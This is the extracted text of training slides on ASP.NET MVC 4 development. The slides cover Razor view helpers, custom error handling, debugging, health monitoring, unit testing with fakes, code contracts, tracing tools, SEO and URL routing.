Inside loops, lambda variables (like doNotUse) refer to the
model for the view; we must use the loop variable order instead
@model MvcApp.Models.Customer
@Html.DisplayFor(model => model.CompanyName)
has @Model.Orders.Count orders.
@foreach (var order in Model.Orders)
@Html.DisplayFor(doNotUse => order.OrderID)

MVC Views

5. 8

Feature with Models in Views

When using DisplayNameFor with IEnumerable<T>
models, the model lambda local variable uses a single
instance of Customer
With DisplayFor, model is
IEnumerable<Customer>

Scaffolded views use this

feature to simplify
lambdas inside foreach
With DisplayFor, we have to
use item, NOT modelItem
In DisplayNameFor, we can
use model

5. 9

MVC Views

Importing Namespaces into Views

To import a namespace for all views, edit the
Web.config in the Views folder
<system.web.webPages.razor>
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Optimization"/>
<!-- and so on -->
<add namespace="MvcApp.Models" />

To import a namespace for a single view, add an

@using directive at the top of the .cshtml file
@using MvcApp.Models
@model Shipper

5. 10

MVC Views

Display Helper Methods

[MetadataType(typeof(ShipperMetadata))]
public partial class Shipper
{
private class ShipperMetadata
{
[Display(Name="ShipperID", ResourceType=typeof(Shared))]
[DisplayFormat(DataFormatString="{0:00000}")]
public object ShipperID { get; set; }
[DisplayName("Name of Company")]
public object CompanyName { get; set; }

@model NorthwindMvcDemo.Models.Shipper
@Html.DisplayNameFor(model => model.ShipperID) @* => Shipper ID *@
@Html.DisplayFor(model => model.ShipperID) @* 00001 *@
@Html.DisplayNameFor(model => model.CompanyName) @* => Name of Company *@

Html Method

Description

DisplayFor

Outputs the data (format supplied by attribute on model class)

DisplayNameFor

Outputs a label (reads two possible attributes on model class)

5. 11

MVC Views

Displayers and Editors

Scaffolding writes code to output

<div>ProductID</div>
<div>@Model.ProductID</div>

Strings to display
Labels, text boxes, and validation to create or update
@Html.LabelFor(m => m.ProductID)
@Html.TextBoxFor(m => m.ProductID)
@Html.ValidationMessageFor(m => m.ProductID)

You can change these to use DisplayFor and EditorFor so that it

reads metadata in the model for hints
[DisplayFormat(ApplyFormatInEditMode = false, DataFormatString="{0:c}"]
public decimal Salary { get; set; }
@Html.DisplayFor(model => model.Salary)
@Html.EditorFor(model => model.Salary)

@Html.EditorFor(model => model)

Note: It can even generate multiple labels

and controls for the entire model in one line.

5. 12

MVC Views

Defining Custom Displayers and Editors

By default, properties are rendered as strings
Order.OrderDate 08-02-2011 16:44
Customer.Email [email protected]

Create a displayer by adding a partial view

to ~/Views/Shared/DisplayTemplates
<a href="mailto:@Model">@Model</a>

Specify the partial view to use when calling

DisplayFor method or apply a UIHint to model
@Html.DisplayFor(model => model.Email, "_EmailLink")

Note: You can

also define editor
templates.

[UIHint("_EmailLink")]
public string Email { get; set; }
ASP.NET MVC Templates - http://bradwilson.typepad.com/blog/2009/10/aspnet-mvc-2-templates-part-1introduction.html/

5. 13

MVC Views

Html.ActionLink, Ajax.ActionLink, and Url.Action

ActionLink creates an anchor tag with a path defined
by a route that calls an action method on a controller
Action name

Text to show

Controller name (optional)

Route values (or null)

@Html.ActionLink("Show Blog", "ShowBlog", "Blog", new { id = 3 },

new { @class = "cool", target = "_blank" })

HTML
attributes
(or null)

Would render this onto the HTML page

<a href="/Blog/Show/3" target="_blank" class="cool">Show Blog</a>

Ajax.ActionLink creates a hyperlink that makes a async call

Url.Action generates just the URL for an action on a

controller with (optional) route data values
/Blog/Show/3

@Url.Action("Show", "Blog", new { id = 3 })

5. 14

MVC Views

Html.RenderPartial (faster) and Html.Partial

Renders the specified partial view
1

@model Customer
<!-- details of a customer -->
<h2>Orders</h2>
@{ Html.RenderPartial("_ListOrders"); }

Note: RenderPartial writes directly

to the response stream so it is faster.
The response stream is buffered
before it is returned to the browser.
Partial returns a string so it can be
used in a Razor expression.

@Html.Partial("_ListOrders")

_ListOrders.cshtml

When a partial view is created it gets its own copy of the ViewBag
so if it changes the ViewBag then the parents copy is not affected
But changes to the Model are affected!

You can explicitly pass a subset of the parents Model

@{ Html.RenderPartial("_ListOrders", subsetOfModel); }

RenderPartialExtensions.RenderPartial Method - http://msdn.microsoft.com/enus/library/system.web.mvc.html.renderpartialextensions.renderpartial.aspx

5. 15

MVC Views

Html.Action and Html.RenderAction (faster)

Calls an action method on the controller and returns
the results as a string into the current view
@model Customer
<!-- details of a customer -->
<h2>Orders</h2>
@Html.Action("ListOrders", Model)

@{ Html.RenderAction
("ListOrders", Model); }

1
public class CustomerController : Controller
{
[ChildActionOnly]
2 public PartialViewResult ListOrders(Customer c)
{
List<Order> orders = GetOrders(c.CustomerID);
return PartialView("_ListOrders", orders);

Note: RenderAction returns

the results directly to the
response stream so provides
better performance.

Useful if you need to get more data from the model

MVC Views

5. 16

ChildActionOnly Attribute
Designed for Html.Action and Html.RenderAction
@Html.Action("GetMoreModelData")

These two methods can be used in a view to call back to a

controller action in order to get more model data
[ChildActionOnly]
public PartialViewResult GetMoreModelData()

A call from a page should not normally be allowed to directly

call these actions so we apply ChildActionOnly

But do NOT apply ChildActionOnly when using

Ajax.ActionLink to make an asynchronous call to return
a partial page update (see Module 9)
Using ChildActionOnly in MVC
http://stackoverflow.com/questions/10253769/using-childactiononly-in-mvc

MVC Views

5. 17

Custom Helper Methods

To add extension methods for the Helper class
using System.Web.Mvc;
namespace NorthwindMvcDemo.Helpers
{
public static class MyHelpers
{
public static MvcHtmlString Image(this HtmlHelper html,
string sourcePath, string alternativeText)
{
var tag = new TagBuilder("img");
tag.MergeAttribute("src", sourcePath);
tag.MergeAttribute("alt", alternativeText);
return MvcHtmlString.Create(
tag.ToString(TagRenderMode.SelfClosing));
}
}
}
@Html.Image("/Images/Kermit.jpg", "Photo of Kermit the Frog")

MVC Views

5. 18

HTML5 Features for Accessibility

You can use HTML5 to improve accessibility
1 Give content elements descriptive names
2 Apply ARIA (Accessible Rich Internet Application) attributes
<!-- Rule 2A: "File" label via aria-labelledby -->
<li role="menuitem" aria-haspopup="true" aria-labelledby="fileLabel">
<span id="fileLabel">File</span>
<!-- Rule 2C: "New" label via Namefrom:contents -->
<li role="menuitem" aria-haspopup="false">New</li>

3 Use the new semantic markup elements appropriately, e.g.

article, aside, figcaption, figure, footer, header, hgroup,

mark, nav, section, time
Accessible Rich Internet Applications (WAI-ARIA) 1.0
http://www.w3.org/WAI/PF/aria/

HTML5 Part 1: Semantic Markup and Page Layout

http://blogs.msdn.com/b/jennifer/archive/2011/08/01/html5-part-1-semantic-markup-and-page-layout.aspx

5. 19

MVC Views

Build Views
By default Visual Studio doesnt build your views so if
there is a compile error you wont know until you run
the application
This is because it is very slow!

For safety, you can enable building of views so you

know at compile time
Unload your project file
Change the MvcBuildViews value to true
<PropertyGroup>
<MvcBuildViews>true</MvcBuildViews>

Turn on Compile-time View Checking for ASP.NET MVC Projects in TFS Build 2010
http://blogs.msdn.com/b/jimlamb/archive/2010/04/20/turn-on-compile-time-view-checking-for-asp-net-mvc-projects-in-tfs-build-2010.aspx

5. 20

Multimedia

Video Sources
You can specify a list of alternative sources for
browsers that do not understand some video formats
Can also embed Flash or Silverlight using the object tag
Can also embed text or hyperlink to download a video
<video controls="controls" autoplay="autoplay">
<source src="small.mp4" type="video/mp4" />
<source src="small.ogv" type="video/ogg" />
<!-- embed Flash via the object tag and set parameters -->
<object type="application/x-shockwave-flash"
Mozilla and Opera
width="0" height="0" data="small.swf">
<param name="movie" value="small.swf" />
Internet Explorer
<param name="quality" value="high" />
</object>
<!-- if browser doesnt support Flash either -->
<a href="small.mp4">Download</a> the video as MP4.
</video>

HTML5 Video

Valid (X)HTML while embedding SWF Flash objects

http://www.w3schools.com/html/html5_video.asp

https://yoast.com/articles/valid-flash-embedding/

10

6. 1

Module 6
Testing and Debugging ASP.NET
MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Testing and Debugging ASP.NET MVC 4 Web Applications

6. 2

Contents
Topic
Error Handling

Slide
3

Debugging

Health Monitoring

13

Testing

17

Code Contracts

27

Comparison of Technologies

30

New in Visual Studio 2013

34

Glimpse

38

Exam Topic: Design an exception handling strategy

Handle exceptions across multiple layers
Display custom error pages using global.asax or creating
your own HTTPHandler or set web.config attributes
Handle first chance exceptions

Exam Topic: Prevent and troubleshoot runtime issues

Troubleshoot performance, security, and errors
Implement tracing, logging (including using attributes for logging), and debugging (including IntelliTrace)
Enforce conditions by using code contracts
Enable and configure health monitoring (including Performance Monitor)
Exam Topic: Test a web application
Create and run unit tests, for example, use the Assert class, create mocks
Debug a web application in multiple browsers and mobile emulators
New in Visual Studio 2013: Create and run web tests (including using Browser Link)

6. 3

Error Handling

Default Behaviour
By default, MVC will show detailed unhandled
exceptions including lines of code and the stack trace
which is useful during development but NOT in
production
public ActionResult ThrowError()
{
throw new ArgumentException(
"You asked me to throw an error!");
}

Warning! IIS can override these

with custom pages of its own

Error Handling

6. 4

Defining Custom Error Behaviour

customErrors element can redirect unhandled
exceptions to a shared view called Error
Uses ~\Shared\Error.cshtml unless you specify a different default redirect

<customErrors defaultRedirect="CustomErrorView" mode="On" />

Mode: Off (default), On, RemoteOnly

On: unhandled exceptions cause ASP.NET to redirect to the
Error view in Shared folder of Views
RemoteOnly: same as On except that browsers running on the
web server (local) will continue to see detailed errors
You can access information about the error in the Error view
@model System.Web.Mvc.HandleErrorInfo
<p>@Model.Exception.Message</p>
<p>@Model.Controller</p>

6. 5

Error Handling

Defining Custom Error Behaviour

You must disable older Internet Explorers friendly
errors or you will see this
Friendly message for all 500s

Switch this check box off

Actual page we sent to the browser

6. 6

Error Handling

Defining Custom Status Code Behaviour

customErrors element can also
redirect HTTP status codes
To a view

// GET: /Home/Error404
public ActionResult Error404()
{
return View();
}

<customErrors mode="On">
<error statusCode="404" redirect="Home/Error404"/>

To a static page
<customErrors mode="On">
<error statusCode="404" redirect="Error404.html"/>

You can show the original request using a query string

value named aspxerrorpath

@Request.QueryString["aspxerrorpath"]

Error Handling

6. 7

Global Filters
Global filters are useful to set up global error handlers
because global filters apply to all controllers and
actions
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
// must go before the non-specific HandleError global filter
filters.Add(new HandleErrorAttribute
{
ExceptionType = typeof(DivideByZeroException),
View = "CustomException"
});
filters.Add(new HandleErrorAttribute()); // in template already
}

Exercise 1: Creating a Global Action Filter

http://msdn.microsoft.com/en-us/vs2010trainingcourse_aspnetmvcglobalanddynamicactionfilters_topic2.aspx

Error Handling

6. 8

Application Errors
You can log unhandled errors using the Applications
Error event in Global.asax
void Application_Error(object sender, EventArgs e)
{
HttpException ex = Server.GetLastError() as HttpException;
if (ex != null)
{
int httpStatusCode = ex.GetHttpCode(); // e.g. 500
int hresultCode = ex.ErrorCode;
int eventCode = ex.WebEventCode;
}
}

How to: Handle Application-Level Errors

https://msdn.microsoft.com/en-us/library/24395wz3.aspx

HttpException Class
https://msdn.microsoft.com/en-us/library/system.web.httpexception(v=vs.110).aspx

6. 9

Debugging

Configuring
Debugging for a web site is
controlled via two settings

Project Properties, Web, Debuggers,

ASP.NET (enabled by default)
Web.config (disabled by default)
<compilation debug="true" />

Debugging

6. 10

When Exceptions are Thrown

If you have written exception handling code but need to monitor
the internal state of your application when a CLR exception is
thrown, choose the Debug menu and Exceptions and select the
Thrown check box

Debugging

6. 11

Remote Sites
Visual Studio and IIS on different machines
\Program Files\Microsoft Visual Studio 10.0\Common7\IDE
\Remote Debugger\x86\msvsmon.exe
Run on the remote server prior to debugging (no need to install)
Msvsmon started a new server named user@machine
Administrative rights allow debugging under a different identity

Both machines must be in the same domain or workgroup

Remote debugging with Visual Studio 2010

http://www.codeproject.com/Articles/146838/Remote-debugging-with-Visual-Studio-2010

Release Deployment

6. 12

Disabling Debug, Trace, Detailed Errors

When deploying a web application onto a production
server we usually want to
Disable debug compilation
Disable ASP.NET trace
Switch custom errors on

Instead of setting these for every individual web

application, in Machine.config we can add one setting
that will apply to all three options on all web
applications on that server
<system.web>
<deployment retail="true" />

6. 13

Health Monitoring

What Is It?
Events can be intercepted and recorded throughout the
lifetime of an application
Starting or ending a Web application
Successful and unsuccessful authentication attempts
ASP.NET errors
Custom application events

Events inherit from WebBaseEvent

Derived classes include: WebManagementEvent, WebAuditEvent,
WebRequestEvent, WebHeartBeatEvent, WebBaseErrorEvent,
WebErrorEvent, WebRequestErrorEvent, and so on

ASP.NET includes several event providers that listen to

those events (next slide)

6. 14

Health Monitoring

Event Providers
All inherit from abstract WebEventProvider class
Override ProcessEvent method to implement your own
EventLogWebEventProvider

Writes to a Windows event log

SqlWebEventProvider

Writes to SQL Server Express ASPNETDB in

App_Data folder by default

WmiWebEventProvider

Writes to WMI

SimpleMailWebEventProvider
TemplatedMailWebEventProvider

Sends an e-mail message

TraceWebEventProvider

Writes to the ASP.NET Trace

Providers are not configured and do not subscribe to

any events by default
Except EventLogWebEventProvider, which is configured to write
exceptions and failed security audits to event log

6. 15

Health Monitoring

Configuring
Configured in the <healthMonitoring> section
<healthMonitoring heartBeatInterval="5" enabled="true">

<providers>

Configure which providers are available and where they

will write to

<bufferModes>

Configure how providers are buffered so that they are

transmitted in batches to avoid overloading the system

<eventMappings>

Associates event names (such as All Errors and Failure

Audits) with the classes that implement them

<rules>

Maps event types with event providers

<profiles>

Configure how many events can occur within a specific

time limit

minInterval
Before another event is logged (non-critical use higher values)

6. 16

Health Monitoring

Custom Extensions
Create custom extensions with IWebEventCustomEvaluator
Allows enabling or disabling the firing of a specific event
Especially useful when you implement your own custom event and
want to control the rate at which it is sent to the related provider
for processing
using System.Web.Management;

public class SampleWebBaseEvent : WebBaseEvent, IWebEventCustomEvaluator

{
public bool CanFire(WebBaseEvent e, RuleFiringRecord rule)
{
// return true when you want your rule to fire

IWebEventCustomEvaluator Interface
http://msdn.microsoft.com/en-us/library/system.web.management.iwebeventcustomevaluator.aspx

6. 17

Testing

Types of Tests
Test Level

Description

Unit

AKA component testing, refers to tests that verify the functionality

of a specific section of code, usually at the function level. In an
object-oriented environment, this is usually at the class level, and
the minimal unit tests include the constructors and destructors.

Integration

Any type of software testing that seeks to verify the interfaces

between components against a software design

System

Tests a completely integrated system to verify that it meets its

requirements

Acceptance

The system is delivered to the user for Acceptance testing

Regression

Finding defects after a major code change has occurred

Performance

Executed to determine how a system or sub-system performs in

terms of responsiveness and stability under a particular workload

Load

Testing the system can continue to operate under a specific load,

whether that be large quantities of data or a large number of users

Stress

Test reliability under unexpected or rare workloads

Testing

6. 18

Unit Testing Overview

Developers are responsible for testing their code prior
to alpha or beta releases
Informal process, includes walking through the code line by line
using a test harness used to simulate standard user interaction
Formal process, uses a Unit Test that isolates the code to be
tested and tests all conditions of that unit, which can be:

Manual, documented and executed by the developer

Automated, test code that used to exercise a portion of
application code

Unit Testing Limits:

Helps ensure that each unit of code works as intended
Does not cover integration, UI, load, or performance

6. 19

Testing

Writing a Unit Test for MS Test

Write the test method to initialize appropriate values,
call the method, and then make assertions
public class CalculatorEngine
{
public int AddNumbers(int a, int b)
{
return a * b;
}
}

[TestMethod]
public void AddNumbersTest()
{
var target = new CalculatorEngine(); // ARRANGE
int a = 2;
int b = 2;
int expected = 4;
int actual;
actual = target.AddNumbers(a, b); // ACT
Assert.AreEqual(expected, actual); // ASSERT
}

Testing

6. 20

Unit Testing MVC

Unit tests are easy to create
[TestMethod]
public void TestDetailsView() {
var controller = new ProductController();

To test that the correct view is being chosen

var result = controller.Details(2) as ViewResult;
Assert.AreEqual("Details", result.ViewName);

To test that the correct model is being passed

var product = (Product)result.ViewData.Model;
Assert.AreEqual("Laptop", product.Name);

Creating Unit Tests for ASP.NET MVC Applications

http://www.asp.net/mvc/tutorials/creating-unit-tests-for-asp-net-mvc-applications-cs

10

6. 21

Testing

Assert Class
Fail, Inconclusive, IsTrue, IsFalse, IsNull, IsNotNull,
IsInstanceOfType, IsNotInstanceOfType
The Assert class throws an AssertFailedException to signal a
failure which should not be captured because it is handled by
the unit test engine to indicate an assert failure

AreEqual / AreNotEqual
The two parameters have equivalence (internally uses Equals)
Assert.AreEqual(expected, actual);

Do NOT call Equals directly; this method is inherited from

Object and is not designed for use with unit testing

AreSame / AreNotSame

(can only be used with reference types)

The two parameters (expected, actual) refer to the same object

Assert Class
http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.testtools.unittesting.assert.aspx

6. 22

Testing

NUnit TestCase

Exam Topic: none

TestCaseAttribute
Serves the dual purpose of marking a method with parameters
as a test method and providing inline data to be used when
invoking that method
[TestCase(12, 3, 4)]
[TestCase(12, 2, 6)]
[TestCase(12, 4, 3)]
public void DivideTest(int n, int d, int q)
{
Assert.AreEqual( q, n / d );
[TestCase(12, 3, Result=4)]
}
[TestCase(12, 2, Result=6)]
[TestCase(12, 4, Result=3)]
public int DivideTest(int n, int d)
{
return ( n / d );
}
Examples from NUnit documentation
TestCaseAttribute (NUnit 2.5)
http://www.nunit.org/index.php?p=testCase&r=2.6.3

11

6. 23

Testing

Microsoft Fakes Framework

Uses stubs and shims to let you easily isolate
components under test from the environment
They are small pieces of code that take the place of another
component during testing
Many methods return different results dependent on external
conditions, but a stub or shim is under the control of your test
and can return consistent results at every call, and you can run
tests even if the other components are not working yet

6. 24

Testing

Techniques for Removing Dependencies (Stub)

If you control the code, you should define interfaces
for any components you have dependencies on
public interface ICalculator
{
public int Add(int a, int b);

public class RealCalc : ICalculator

{
public int Add(int a, int b)

In tests, create a fake that implements the same

interface and make it return consistent results
public class FakeCalc : ICalculator
{
public int Add(int a, int b)
var dependency = new FakeCalc();
var result = dependency.Add(2, 3);

12

Testing

6. 25

Techniques for Removing Dependencies (Shim)

If you dont control the code and it doesnt implement
an interface
public class RealCalc
{
public int Add(int a, int b)

Create a fake and a delegate with the same signature

as the method you need to call
public class FakeCalc
{
public int Add(int a, int b)
var dependency = new FakeCalc();
var delegateToAdd = new Func<int, int, int>(dependency.Add);
var result = delegateToAdd(2, 3);

Testing

6. 26

Stub and Shim Types

To use stubs, your application has to be designed so
that the different components are not dependent on
each other, but only dependent on interface definitions
Use shims to isolate your code from assemblies that
are not part of your solution
Shim types provide a mechanism to detour any .NET method to
a user defined delegate
Shim types are code-generated by the Fakes generator, and
they use delegates, which we call shim types, to specify the
new method implementations
Shim class names are made up by prefixing Fakes.Shim to the
original type name
Using stubs to isolate your application from other assemblies for unit testing
http://msdn.microsoft.com/en-us/library/hh549174.aspx

Using shims to isolate your application from other assemblies for unit testing
http://msdn.microsoft.com/en-us/library/hh549176.aspx

13

6. 27

Code Contracts

What are They?

Contracts allow you to express preconditions,
postconditions and object invariants in your code for
runtime checking, static analysis, and documentation
For example, you might have a Rational class to
represent rational numbers
For a rational number, the denominator must be non-zero

We can define a pre-condition to test for this in the constructor

public class Rational
using System.Diagnostics.Contracts;
{
public Rational(int numerator, int denominator)
{
Note: the Requires method only executes
Contract.Requires(denominator != 0);

when a static analysis tool is installed for

Visual Studio NOT at run-time

Code Contracts User Manual

http://research.microsoft.com/en-us/projects/contracts/userdoc.pdf

Code Contracts for .NET

http://visualstudiogallery.msdn.microsoft.com/1ec7db13-3363-46c9-851f-1ce455f66970

Code Contracts

6. 28

Contract Class
Assume(bool, string) method
Instructs code analysis tools to assume that a condition is true,
even if it cannot be statically proven to always be true, and
displays a message if the assumption fails

Ensures(bool) method
Specifies a postcondition contract for the enclosing method or
property

Requires<TException>(bool, string) method

Specifies a precondition contract for the enclosing method or
property, and throws an exception with the provided message if
the condition for the contract fails

Assert throws exceptions at run-time

Contract Class
http://msdn.microsoft.com/en-us/library/system.diagnostics.contracts.contract(v=vs.110).aspx

14

6. 29

Code Contracts

Contract Class Interfaces

To enforce interface contracts you can create an
abstract class that implements that interface
[ContractClass(typeof(IPersonContractClass))]
public interface IPerson // interfaces cannot contain executable code
{
int AlwaysPositiveValue { get; }
void ProcessObject(object cantBeNull);
[ContractClassFor(typeof(IPerson))]
public void ProcessObject(
public abstract class IPersonContractClass : IPerson
object cantBeNull)
{
{
public int AlwaysPositiveValue {
Contract.Requires(
get {
cantBeNull != null);
Contract.Ensures(Contract.Result<int>() > 0);
// although this will never be executed by our code the compiler will
// complain unless we return something or throw an exception so...
throw new NotImplementedException();
// or we could: return default(int) which some developers prefer
Code Contracts in C# by Jon Skeet

Better code with C# code contracts

http://www.infoq.com/articles/code-contracts-csharp

https://www.develop.com/csharpcodecontracts

Comparison of Technologies

6. 30

Comparing Tracing and Monitoring Tools

Tools

Description

ASP.NET Trace
(Trace.axd)

View diagnostic information about a single request for an ASP.NET page;

follow a pages execution path, display diagnostic information at run time,
and debug your application; most useful for ASP.NET Web Forms, not MVC

System.
Diagnostics.
Trace

Provides a set of methods and properties that help you trace the execution
of your code in any .NET application; instrument release builds; helps you
isolate problems and fix them without disturbing a running system

IntelliTrace

Collects events about an application while its executing to help developers

diagnose errors; let developers step back in time to see what happened in
an application without having to restart the debugger

Health
Montoring

Monitor live ASP.NET applications, individually or across a Web farm,

appraise significant events during the life cycle of an application

Performance
Analysis

Visual Studio Profiling Tools let developers measure, evaluate, and target
performance-related issues in their code

Code Analysis

Reports information about the assemblies, such as violations of the

programming and design rules set forth in the Microsoft .NET guidelines

Debugging Applications with IntelliTrace

http://msdn.microsoft.com/en-us/magazine/ee336126.aspx

Analyzing Application Performance by Using Profiling Tools

http://msdn.microsoft.com/en-us/library/z9z62c29.aspx

15

Comparison of Technologies

6. 31

Raising and Listening for Events (1 of 2)

There are multiple technologies that can raise an
event to be received by configured listeners
System.Web.Trace: the ASP.NET Trace system
HttpContext.Trace.Write("message");
/Trace.axd

<system.web>
<trace enabled="true"
View messages with Trace.axd or send
writeToDiagnosticsTrace="true"/>
a copy to System.Diagostics.Trace

System.Diagnostics.Trace and TraceSource: .NET Trace system

using System.Diagnostics;

var tsHR = new TraceSource("hr");

tsHR.TraceEvent(TraceEventType.Information,
Trace.Write("message");
7, "message");
<sources>
<source name="hr">
<system.diagnostics>
Configure who is listening to the Trace messages
<listeners>
<trace>
<add ...
<listeners>
<add name="textFile" initializeData="c:\log.txt"
type="System.Diagnostics.TextFileTraceListener" />

Comparison of Technologies

6. 32

Raising and Listening for Events (2 of 2)

Health Monitoring
public class MyWebEvent : WebBaseEvent
{
public MyWebEvent(string message, object eventSource,
int eventCode) : base(message, eventSource, eventCode)
var myevent = new MyWebEvent("message", this, 7);
myevent.Raise();
<healthMonitoring enabled="true">
<providers>
<add name="Email" type="System.Web.Management.SimpleMailWebEventProvider"
to="[email protected]" from="[email protected]" />
<eventMappings>
<add name="My Event"
type="Firebrand.MyWebEvent"/>
<rules>
<add name="LogMyEventsToEmail" eventName="My Event" provider="Email"/>

16

6. 33

Comparison of Technologies

ASP.NET Trace for Web Forms

Exam Topic: none

The Trace facility can be used to

Troubleshoot and diagnose problems
View cookies, session and application state
Explore resource usage on each Web page

To enable the trace facility for whole site

Modify Web.config file
<system.web>
<trace enabled="true" />

Tracing can be enabled at site or page level

Page level can override the setting
<%@ Page Trace="True" TraceMode="SortByCategory"

New in Visual Studio 2013

6. 34

Browser Link (1 of 2)
Clicking Refresh Linked Browsers refreshes both

Browser Link uses SignalR and injected JavaScript

17

New in Visual Studio 2013

6. 35

Browser Link (2 of 2)
A communication channel between the development
environment and one or more web browsers
Refresh your web application in several browsers at once, which
is useful for cross-browser testing
Use Ctrl to select multiple browsers for testing

To enable for static files such as .html

<system.webServer> <handlers>
<add name="Browser Link for HTML" path="*.html" verb="*"
type="System.Web.StaticFileHandler, System.Web,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
resourceType="File" preCondition="integratedMode" />
Using Browser Link in Visual Studio 2013
http://www.asp.net/visual-studio/overview/2013/using-browser-link

New in Visual Studio 2013

6. 36

Peek Definition
Peek Definition offers a fully functional editor, so you
can change your class (or member) definition according
to your needs without leaving the active window

18

6. 37

New in Visual Studio 2013

Code Lens (Ultimate only)

Code Lens: above each type and member name Visual
Studio shows the number of references
Hover over the reference and it shows the containing code file
for each reference and the line number where the object is
used, and allows fast navigation to the reference by doubleclicking the line of code

Older versions of Visual Studio provide a tool called Find All

References, which just shows a list of references to an object

Glimpse

What Is It?

6. 38
Exam Topic: none

Free, open source, and provides real time diagnostics &

insights via a heads-up display at bottom of browser

The Diagnostics platform of the web

http://getglimpse.com/

19

6. 39

Other Tools

Glimpse Installation

Exam Topic: none

To install Glimpse for MVC 5

install-package glimpse.mvc5

To install Glimpse for ADO.NET Entity Framework 6

install-package glimpse.ef6

To enable Glimpse
Click the Turn Glimpse On button
glimpse.axd

Extensions & Plugins

http://getglimpse.com/Extensions/

20

7. 1

Module 7
Structuring ASP.NET MVC 4
Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Structuring ASP.NET MVC 4 Web Applications

7. 2

Contents
Exam Topic: Design and implement routes
Define a route to handle a URL pattern
Apply route constraints
Ignore URL patterns
Add custom route parameters
Define areas

Page 07-10 (position 9, 4284)

The MOC says to use MapHttpRoute
It should have said to use MapRoute
Note: MVC Site Map Provider is not an official component of
Visual Studio and ASP.NET 4.5 so it is NOT on the exam

SEO

7. 3

IIS SEO Toolkit

Site Analysis
Optimizes content, structure, and URLs for
search engine crawlers
Discovers problems that impact the
user experience of website

Robot Exclusion
Manage all robots.txt files from within IIS Manager
Modify robots.txt files from a GUI interface

Sitemap and Site Index

Manage all sitemap files from within IIS Manager
Modify sitemap.xml files from a GUI interface

SEO

7. 4

Canonical URLs
Canonicalization is the process of picking the best URL
when there are several choices
For example, in ASP.NET MVC all these represent the
home page of your web application
http://www.fb.com/

http://www.fb.com/home
http://www.fb.com/home/index
http://www.fb.com/home/index/

To get best SEO you need only one canonical URL for
your home page and all the others should redirect to it
using a 301 Moved Permanently status code
Remove Trailing Slash From the URLs of Your ASP.NET Web Site With IIS 7 URL Rewrite Module
http://www.tugberkugurlu.com/archive/remove-trailing-slash-from-the-urls-of-your-asp-net-web-sitewith-iis-7-url-rewrite-module

SEO

7. 5

Navigation
To build a usable navigation system, a website designer
has to answer four questions, in this particular order
How do I best structure the content?
How do I best explain the navigational choices?
Which type of navigation menu is best suited to accommodate
the choices?
How do I best design the navigation menu?

Efficiently Simplifying Navigation, Part 1: Information Architecture

http://www.smashingmagazine.com/2013/12/03/efficiently-simplifying-navigation-information-architecture/

SEO

7. 6

Mobile-Friendly Sites
Since 21st April 2015 Google announced that the they
will boost the rankings of mobile-friendly pages
Conversely, pages designed for only large screens may see a
significant decrease in rankings in mobile search results
It has no effect on searches from tablets or desktops only
searches from mobile devices across all languages and locations

Individual pages can be tested for mobile-friendliness

using the Mobile-Friendly Test

FAQs about the April 21st mobile-friendly update

http://googlewebmastercentral.blogspot.co.uk/2015/04/faqs-april-21st-mobile-friendly.html

Mobile-Friendly Test Microsoft.com

https://www.google.com/webmasters/tools/mobile-friendly/?url=www.microsoft.com

7. 7

Routing

Three Technologies Can Define Routes

config.Routes.MapHttpRoute(
name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
routes.MapPageRoute(
routeName: "LoginRoute",
routeUrl: "account/login",
physicalFile: "~/login.aspx"
);

Web API Default Route

Web Forms Custom Route

routes.MapRoute(
name: "Default",
url: "{controller}/{action}/{id}",
defaults: new { controller = "Home", action = "Index",
id = UrlParameter.Optional }
);

MVC Default Route

Routing

7. 8

Using the Default Route

The default MVC route
routes.MapRoute("Default", // route name
"{controller}/{action}/{id}", // URL pattern with route parameters
new { // route parameter defaults
controller = "Home", action = "Index",
id = UrlParameter.Optional }
);

Maps this HTTP request to the following parameters

GET http://www.contoso.com/Home/Index/3

{controller} = Home, {action} = Index, {id} = 3

So this method is executed on the controller

return (new HomeController()).Index(3);

ASP.NET MVC Routing Overview

http://www.asp.net/mvc/tutorials/asp-net-mvc-routing-overview-cs

7. 9

Routing

Action Method Parameters

The controller can define the Index method like this
public ActionResult Index(string id)

Or like this
public ActionResult Index()

Note: the id is available using RouteData.Values["id"]

But if the action method is defined like this

public ActionResult Index(int id)

an exception is thrown if the parameter is missing

To avoid an exception use int? or set a default value

public ActionResult Index(int? id)
public ActionResult Index(int id = 0)

7. 10

Routing

URL Patterns
Route definition

Example of matching URL

{controller}/{action}/{id}

/Products/show/beverages

{resource}.axd/{*pathInfo}

/WebResource.axd?d=123456...

{table}/Details.aspx

/Products/Details.aspx

blog/{action}/{entry}

/blog/show/123

{reporttype}/{year}/{month}/{day}

/sales/2008/1/5

{locale}/{action}

/US/show

{language}-{country}/{action}

/en-US/show

Route definition (IIS 6.0)

Example of matching URL

{controller}.mvc/{action}/{id}

/Products.mvc/show/beverages

ASP.NET Routing
http://msdn.microsoft.com/en-us/library/cc668201.aspx

7. 11

Routing

Variable Number of Segments

Route path that matches variable number of segments
